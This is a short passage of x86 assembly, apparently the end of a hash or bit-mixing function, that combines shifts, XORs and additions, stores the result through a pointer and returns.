lea ecx, [edx*4]
xor ecx, edx
mov edx, ecx
shr edx, 0xf
add ecx, edx
mov edx, ecx
shl edx, 0xa
xor edx, ecx
pop esi
mov dword [eax], edx
pop ebx
ret